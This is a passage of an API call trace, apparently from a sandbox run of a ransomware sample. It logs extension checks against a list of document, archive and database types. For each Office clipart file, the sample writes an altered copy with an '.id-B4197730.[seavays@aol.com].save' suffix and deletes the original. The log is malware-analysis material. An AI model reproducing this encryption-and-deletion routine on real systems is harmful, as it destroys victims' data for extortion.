lstrlenW (lpString=".doc") returned 4 [0063.877] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.877] lstrlenW (lpString=".docx") returned 5 [0063.877] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.877] lstrlenW (lpString=".pdf") returned 4 [0063.877] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.877] lstrlenW (lpString=".xls") returned 4 [0063.877] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.877] lstrlenW (lpString=".xlsx") returned 5 [0063.877] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.878] lstrlenW (lpString=".ppt") returned 4 [0063.878] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0063.878] lstrlenW (lpString=".zip") returned 4 [0063.878] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.878] lstrlenW (lpString=".rar") returned 4 [0063.878] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.878] lstrlenW (lpString=".bz2") returned 4 [0063.878] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.878] lstrlenW (lpString=".7z") returned 3 [0063.878] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0063.878] lstrlenW (lpString=".dbf") returned 4 [0063.878] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0063.878] lstrlenW (lpString=".1cd") returned 4 [0063.878] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0063.878] lstrlenW (lpString=".jpg") returned 4 [0063.878] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.878] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0063.878] lstrlenW (lpString="AN04174_.WMF") returned 12 [0063.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0063.879] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=2636) returned 1 [0063.879] CloseHandle (hObject=0x2c0) returned 1 [0063.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 0x220 [0063.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0063.879] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.879] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0063.880] GetLastError () returned 0x0 [0063.880] ReadFile (in: hFile=0x2c0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xa4c, lpOverlapped=0x0) returned 1 [0064.348] WriteFile (in: hFile=0x380, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xa50, lpOverlapped=0x0) returned 1 [0064.557] ReadFile (in: hFile=0x2c0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.557] WriteFile (in: hFile=0x380, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0064.557] SetEndOfFile (hFile=0x380) returned 1 [0064.557] CloseHandle (hObject=0x380) returned 1 [0064.559] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.559] SetEndOfFile (hFile=0x2c0) returned 1 [0064.560] CloseHandle (hObject=0x2c0) returned 1 [0064.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0064.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0064.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0064.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0064.560] lstrlenW (lpString=".doc") returned 4 [0064.560] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.560] lstrlenW (lpString=".docx") returned 5 [0064.560] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.560] lstrlenW (lpString=".pdf") returned 4 [0064.560] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.561] lstrlenW (lpString=".xls") returned 4 [0064.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.561] lstrlenW (lpString=".xlsx") returned 5 [0064.561] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.561] lstrlenW (lpString=".ppt") returned 4 [0064.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0064.561] lstrlenW (lpString=".zip") returned 4 [0064.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.561] lstrlenW (lpString=".rar") returned 4 [0064.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.561] lstrlenW (lpString=".bz2") returned 4 [0064.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.561] lstrlenW (lpString=".7z") returned 3 [0064.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0064.561] lstrlenW (lpString=".dbf") returned 4 [0064.561] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0064.561] lstrlenW (lpString=".1cd") returned 4 [0064.561] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0064.561] lstrlenW (lpString=".jpg") returned 4 [0064.561] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0064.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0064.561] lstrlenW (lpString=".doc") returned 4 [0064.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.561] lstrlenW (lpString=".docx") returned 5 [0064.561] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.561] lstrlenW (lpString=".pdf") returned 4 [0064.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.562] lstrlenW (lpString=".xls") returned 4 [0064.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.562] lstrlenW (lpString=".xlsx") returned 5 [0064.562] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.562] lstrlenW (lpString=".ppt") returned 4 [0064.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0064.562] lstrlenW (lpString=".zip") returned 4 [0064.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.562] lstrlenW (lpString=".rar") returned 4 [0064.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.562] lstrlenW (lpString=".bz2") returned 4 [0064.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.562] lstrlenW (lpString=".7z") returned 3 [0064.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0064.562] lstrlenW (lpString=".dbf") returned 4 [0064.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0064.562] lstrlenW (lpString=".1cd") returned 4 [0064.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0064.563] lstrlenW (lpString=".jpg") returned 4 [0064.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.563] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0064.563] lstrlenW (lpString="BD06200_.WMF") returned 12 [0064.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0064.563] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=16676) returned 1 [0064.563] CloseHandle (hObject=0x2c0) returned 1 [0064.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x220 [0064.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0064.564] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.564] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0064.564] GetLastError () returned 0x0 [0064.564] ReadFile (in: hFile=0x2c0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x4124, lpOverlapped=0x0) returned 1 [0064.566] WriteFile (in: hFile=0x380, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x4130, lpOverlapped=0x0) returned 1 [0064.567] ReadFile (in: hFile=0x2c0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.567] WriteFile (in: hFile=0x380, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0064.567] SetEndOfFile (hFile=0x380) returned 1 [0064.568] CloseHandle (hObject=0x380) returned 1 [0064.569] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.569] SetEndOfFile (hFile=0x2c0) returned 1 [0064.570] CloseHandle (hObject=0x2c0) returned 1 [0064.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0064.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0064.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0064.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0064.571] lstrlenW (lpString=".doc") returned 4 [0064.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.571] lstrlenW (lpString=".docx") returned 5 [0064.571] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.571] lstrlenW (lpString=".pdf") returned 4 [0064.571] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.571] lstrlenW (lpString=".xls") returned 4 [0064.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.571] lstrlenW (lpString=".xlsx") returned 5 [0064.571] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.571] lstrlenW (lpString=".ppt") returned 4 [0064.571] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0064.571] lstrlenW (lpString=".zip") returned 4 [0064.571] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.571] lstrlenW (lpString=".rar") returned 4 [0064.571] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.572] lstrlenW (lpString=".bz2") returned 4 [0064.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.572] lstrlenW (lpString=".7z") returned 3 [0064.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0064.572] lstrlenW (lpString=".dbf") returned 4 [0064.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0064.572] lstrlenW (lpString=".1cd") returned 4 [0064.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0064.572] lstrlenW (lpString=".jpg") returned 4 [0064.572] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0064.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0064.572] lstrlenW (lpString=".doc") returned 4 [0064.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.572] lstrlenW (lpString=".docx") returned 5 [0064.572] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.572] lstrlenW (lpString=".pdf") returned 4 [0064.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.572] lstrlenW (lpString=".xls") returned 4 [0064.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.572] lstrlenW (lpString=".xlsx") returned 5 [0064.572] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.572] lstrlenW (lpString=".ppt") returned 4 [0064.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0064.572] lstrlenW (lpString=".zip") returned 4 [0064.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.573] lstrlenW (lpString=".rar") returned 4 [0064.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.573] lstrlenW (lpString=".bz2") returned 4 [0064.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.573] lstrlenW (lpString=".7z") returned 3 [0064.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0064.573] lstrlenW (lpString=".dbf") returned 4 [0064.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0064.573] lstrlenW (lpString=".1cd") returned 4 [0064.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0064.573] lstrlenW (lpString=".jpg") returned 4 [0064.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.573] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0064.573] lstrlenW (lpString="BD07761_.WMF") returned 12 [0064.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0064.574] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=26748) returned 1 [0064.574] CloseHandle (hObject=0x2c0) returned 1 [0064.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x220 [0064.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0064.575] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.575] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0064.575] GetLastError () returned 0x0 [0064.575] ReadFile (in: hFile=0x2c0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x687c, lpOverlapped=0x0) returned 1 [0064.577] WriteFile (in: hFile=0x380, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x6880, lpOverlapped=0x0) returned 1 [0064.578] ReadFile (in: hFile=0x2c0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.578] WriteFile (in: hFile=0x380, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0064.578] SetEndOfFile (hFile=0x380) returned 1 [0064.579] CloseHandle (hObject=0x380) returned 1 [0064.580] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.581] SetEndOfFile (hFile=0x2c0) returned 1 [0064.581] CloseHandle (hObject=0x2c0) returned 1 [0064.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0064.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0064.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0064.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0064.582] lstrlenW (lpString=".doc") returned 4 [0064.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.582] lstrlenW (lpString=".docx") returned 5 [0064.582] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.582] lstrlenW (lpString=".pdf") returned 4 [0064.582] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.582] lstrlenW (lpString=".xls") returned 4 [0064.582] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.582] lstrlenW (lpString=".xlsx") returned 5 [0064.582] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.582] lstrlenW (lpString=".ppt") returned 4 [0064.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0064.583] lstrlenW (lpString=".zip") returned 4 [0064.583] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.583] lstrlenW (lpString=".rar") returned 4 [0064.583] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.583] lstrlenW (lpString=".bz2") returned 4 [0064.583] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.583] lstrlenW (lpString=".7z") returned 3 [0064.583] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0064.583] lstrlenW (lpString=".dbf") returned 4 [0064.583] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0064.583] lstrlenW (lpString=".1cd") returned 4 [0064.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0064.583] lstrlenW (lpString=".jpg") returned 4 [0064.583] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0064.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0064.583] lstrlenW (lpString=".doc") returned 4 [0064.583] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.583] lstrlenW (lpString=".docx") returned 5 [0064.583] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.583] lstrlenW (lpString=".pdf") returned 4 [0064.583] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.583] lstrlenW (lpString=".xls") returned 4 [0064.583] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.583] lstrlenW (lpString=".xlsx") returned 